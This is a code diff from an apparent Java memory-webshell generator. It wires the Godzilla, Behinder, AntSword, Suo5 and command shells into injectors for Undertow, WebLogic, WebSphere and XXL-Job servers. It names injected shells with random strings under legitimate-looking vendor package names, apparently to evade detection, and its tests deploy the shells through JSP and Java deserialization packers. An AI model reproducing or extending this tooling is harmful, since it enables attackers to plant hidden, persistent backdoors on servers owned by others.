import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class UndertowShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
if (map.get(key).toString().contains("ServletRequestContext")) {
|
||||
response = ShellCommonUtil.getFieldValue(map.get(key), "servletResponse");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class WebLogicShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
|
||||
.addShellClass(AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
|
||||
.addShellClass(AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
|
||||
.addShellClass(AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
|
||||
.addShellClass(AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class WebSphereShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
||||
.addInjector(AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command))
|
||||
.addShellClass(AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla))
|
||||
.addShellClass(AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder))
|
||||
.addShellClass(AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5))
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword))
|
||||
.addShellClass(AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobShell extends AbstractShell {
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(NETTY_HANDLER, XxlJobNettyHandlerInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class).build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class).build());
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.utils;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
@@ -100,17 +100,38 @@ public class CommonUtil {
|
||||
}
|
||||
|
||||
public static String generateShellClassName(Server server, String shellType) {
|
||||
String packageName = switch (server) {
|
||||
case Jetty -> "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
|
||||
case SpringWebMvc -> "org.springframework.boot.mvc.handlers";
|
||||
case SpringWebFlux -> "org.springframework.boot.webflux.handlers";
|
||||
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
|
||||
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||
case Resin -> "com.caucho.server.dispatch.handlers";
|
||||
case BES -> "com.bes.enterprise.webtier.web.handlers";
|
||||
default -> "org.apache.http.web.handlers";
|
||||
};
|
||||
String packageName;
|
||||
switch (server) {
|
||||
case Jetty:
|
||||
packageName = "org.eclipse.jetty.servlet.handlers";
|
||||
break;
|
||||
case Undertow:
|
||||
case JBossEAP7:
|
||||
case WildFly:
|
||||
packageName = "io.undertow.servlet.handlers";
|
||||
break;
|
||||
case SpringWebMvc:
|
||||
packageName = "org.springframework.boot.mvc.handlers";
|
||||
break;
|
||||
case SpringWebFlux:
|
||||
packageName = "org.springframework.boot.webflux.handlers";
|
||||
break;
|
||||
case WebSphere:
|
||||
packageName = "com.ibm.ws.webcontainer.handlers";
|
||||
break;
|
||||
case WebLogic:
|
||||
packageName = "weblogic.servlet.internal.handlers";
|
||||
break;
|
||||
case Resin:
|
||||
packageName = "com.caucho.server.dispatch.handlers";
|
||||
break;
|
||||
case BES:
|
||||
packageName = "com.bes.enterprise.webtier.web.handlers";
|
||||
break;
|
||||
default:
|
||||
packageName = "org.apache.http.web.handlers";
|
||||
break;
|
||||
}
|
||||
return packageName
|
||||
+ "." + getRandomString(5)
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.memshell.utils;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/22
|
||||
*/
|
||||
public class ShellCommonUtil {
|
||||
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-1
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
@@ -23,7 +26,7 @@ class GodzillaGeneratorTest {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(Constants.SERVLET)
|
||||
.shellType(ShellType.SERVLET)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
.build();
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.alibaba.fastjson2.JSON;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
class SpELPackerTest {
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
GenerateResult generateResult = GenerateResult.builder()
|
||||
.injectorClassName("name")
|
||||
.injectorBytes("name".getBytes()).build();
|
||||
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
|
||||
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
|
||||
System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -24,9 +24,9 @@ class CommandFilterTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(Constants.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"),
|
||||
arguments(Constants.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"),
|
||||
arguments(Constants.VALVE, CommandValve.class, "org.apache.utils.CommandValve")
|
||||
arguments(ShellType.FILTER, CommandFilter.class, "org.apache.utils.CommandFilter"),
|
||||
arguments(ShellType.LISTENER, CommandListener.class, "org.apache.utils.CommandListener"),
|
||||
arguments(ShellType.VALVE, CommandValve.class, "org.apache.utils.CommandValve")
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
+4
-4
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
|
||||
@@ -32,9 +32,9 @@ class GodzillaTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(Constants.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
|
||||
arguments(Constants.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"),
|
||||
arguments(Constants.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve")
|
||||
arguments(ShellType.FILTER, GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
|
||||
arguments(ShellType.LISTENER, GodzillaListener.class, "org.apache.utils.GodzillaListener"),
|
||||
arguments(ShellType.VALVE, GodzillaValve.class, "org.apache.utils.GodzillaValve")
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
+8
-5
@@ -1,13 +1,16 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.GeneratorMain;
|
||||
import com.reajason.javaweb.antsword.AntSwordManager;
|
||||
import com.reajason.javaweb.behinder.BehinderManager;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.server.SpringWebFluxShell;
|
||||
import com.reajason.javaweb.memshell.server.SpringWebMvcShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -48,7 +51,7 @@ public class ShellAssertionTool {
|
||||
String shellUrl = url + "/test";
|
||||
|
||||
String urlPattern = null;
|
||||
if (shellType.endsWith(Constants.SERVLET)
|
||||
if (shellType.endsWith(ShellType.SERVLET)
|
||||
|| shellType.endsWith(SpringWebMvcShell.CONTROLLER_HANDLER)
|
||||
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
||||
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
||||
|
||||
+40
-40
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -49,44 +49,44 @@ public class GlassFish3ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
